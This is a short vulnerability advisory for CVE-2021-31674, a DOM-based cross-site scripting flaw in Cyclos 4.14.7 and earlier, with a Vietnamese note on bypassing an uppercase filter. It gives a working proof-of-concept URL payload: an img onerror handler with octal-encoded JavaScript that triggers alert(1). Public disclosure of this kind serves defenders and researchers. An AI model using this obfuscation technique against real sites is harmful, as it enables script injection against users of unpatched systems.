# Cyclos 4.14.7 - Dom-based Cross-Site Scripting in undefined enum (CVE-2021-31674)

### CVE-2021-31674

**Date:** 18/04/2021

**Exploit Author:** Tin Pham aka TF1T of VietSunshine Cyber Security Services

**Vendor Homepage:** <https://www.cyclos.org/>

**Affected Version(s):** Cyclos 4.14.7 (and prior)

**Description:** Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefined enum.

**Steps to reproduce:** An attacker sends a draft URL *\[IP]/#users.users.public-registrationxxx%3Cimg%20src=x%20onerror=%22\[]\['\146\151\154\164\145\162']\['\143\157\156\163\164\162\165\143\164\157\162']\('\162\145\164\165\162\156\40\164\150\151\163')()\['\141\154\145\162\164']\(1)%22%3E* to victim. When a victim opens the URL, XSS will be triggered.

### Note

Khi nhập vào một enum không tồn tại, thông báo lỗi sẽ xuất hiện kèm theo giá trị nhập vào, tuy nhiên các giá trị này sẽ đi qua function uppercase()

![](/files/ZqrI0J4eKdcngxI84Iaf)

Như chúng ta đã biết nếu cụm alert() bị viết hoa (`ALERT()`) thì sẽ không có popup xảy ra

![](/files/7yLNRXr81LknYTaLyKDG)

Do đó ta có thể sử dụng function alert() dạng JSFUCK rồi encode dạng octet để payload được ngắn lại. Final payload:  `<img src=x onerror="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\162\145\164\165\162\156\40\164\150\151\163')()['\141\154\145\162\164'](1)">`

![](/files/CK2IK5ntOauVx5CXdoyW)

&#x20;  &#x20;


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